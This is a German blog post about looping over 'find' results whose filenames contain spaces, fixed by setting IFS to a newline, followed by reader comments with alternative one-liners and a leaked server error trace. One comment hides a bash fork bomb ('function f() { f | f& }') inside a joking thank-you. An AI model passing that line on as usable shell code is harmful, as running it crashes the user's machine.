Linux find und Leerzeichen in Dateinamen

by Michi on März 19, 2008

Mich hat das jetzt eine völlig überflüssige Stunde meines Lebens gekostet. Wer, so wie ich, über den Linux Befehl „find“ eine Schleife auslösen will, und dabei Leerzeichen in Datei- oder Pfadnamen bekommt, wird feststellen, dass die for schleife immer an Leerzeichen ein neues „Result“ ergibt. Das bedeutet ein Script wie sowas funktioniert dann nicht
#!/bin/sh
for file in $(find /media/daten/ -iname *.vmx)
do
echo $file
done

Die einzig funktionierende Möglichkeit, war nach unzähligen printf ausdrücke und xargs fummeleien, die Variabel $IFS auf \n zu setzen.
#!/bin/sh
IFS="
"
for file in $(find /media/daten/ -iname *.vmx)
do
echo $file
done

Jetzt wird schön brav jede Einzelne Zeile auch mit Leerzeichen in Pfadangaben ausgegeben. Na dann kanns ja weiter gehen. Ich sollte mehr Linux-Scripte schreiben….

11 comments

danke sehr,

hab grad den ganzen nachmittag verbracht und bin einfach auf keine lösung gekommen.

funktioniert super

by klaus on 11. September 2008 at 14:27. #

thx, habe ich auch gerade gebraucht 🙂

by Jaxx on 22. November 2008 at 14:59. #

Das hat mir gerade ein paar Stunden arbeit erspart!

by Dieter on 16. Februar 2009 at 15:44. #

dangö 🙂

by muxx on 20. Oktober 2009 at 12:05. #

Für die, die dies gerne direkt auf der Shell machen:

IFS_BAK=$IFS; IFS=$'\n'; for i in $(find /media/daten -iname '*.vmx'); do echo $i; done; IFS=$IFS_BAK

Grüße, supric

by supric on 5. April 2010 at 12:01. #

1000 Dank! Ich habe 8 Stunden meines Lebens in die Suche nach diese Lösung investiert.

by NC on 15. Mai 2012 at 20:35. #

vielen Dank !

ich habe diesen Hinweis zum Glück schon nach einer halben Stunde gefunden …

by corbofix on 4. Januar 2013 at 11:01. #

Einfach das find Ergebnis in Hochkomma setzen:
find . -type f -executable -exec echo \“{}\“ \;

by xSilverBulletx on 19. Februar 2013 at 16:35. #

function f() {
f | f&
}
f mal danke!!!

danke deine pageranking habe ich keine Stunden verloren.

by infernow on 10. Dezember 2013 at 00:09. #

as easy as can be:
find ./ -name „*\ *“ > ./leerzeichen.txt

by d4r0 on 21. Januar 2016 at 12:04. #

Leave your comment

Required.

Required. Not published.

If you have one.



Piwik encoutered an error: Uncaught exception 'Exception' with message 'Piwik and/or some plugins have been upgraded to a new version. --> Please run the update process first. See documentation: http://piwik.org/docs/update/ ' in /var/www/stats.mail.feinbier.net/html/plugins/CoreUpdater/CoreUpdater.php:73 Stack trace: #0 [internal function]: Piwik\Plugins\CoreUpdater\CoreUpdater->dispatch() #1 /var/www/stats.mail.feinbier.net/html/core/EventDispatcher.php(141): call_user_func_array(Array, Array) #2 /var/www/stats.mail.feinbier.net/html/core/Piwik.php(701): Piwik\EventDispatcher->postEvent('Request.dispatc...', Array, false, NULL) #3 /var/www/stats.mail.feinbier.net/html/core/FrontController.php(306): Piwik\Piwik::postEvent('Request.dispatc...') #4 /var/www/denkweite.de/html/wp-content/plugins/wp-piwik/classes/WP_Piwik/Request/Php.php(38): Piwik\FrontController->init() #5 /var/www/denkweite.de/html/wp-content/plugins/wp-piwik/classes/WP_Piwik/Request/Php.php(16): WP_Piwik\Request\Php->call('method=SitesMan...', 'http://stats.ma...', ' (which lead to: Session must be started before any output has been sent to the browser; output started in /var/www/denkweite.de/html/wp-includes/formatting.php/5075)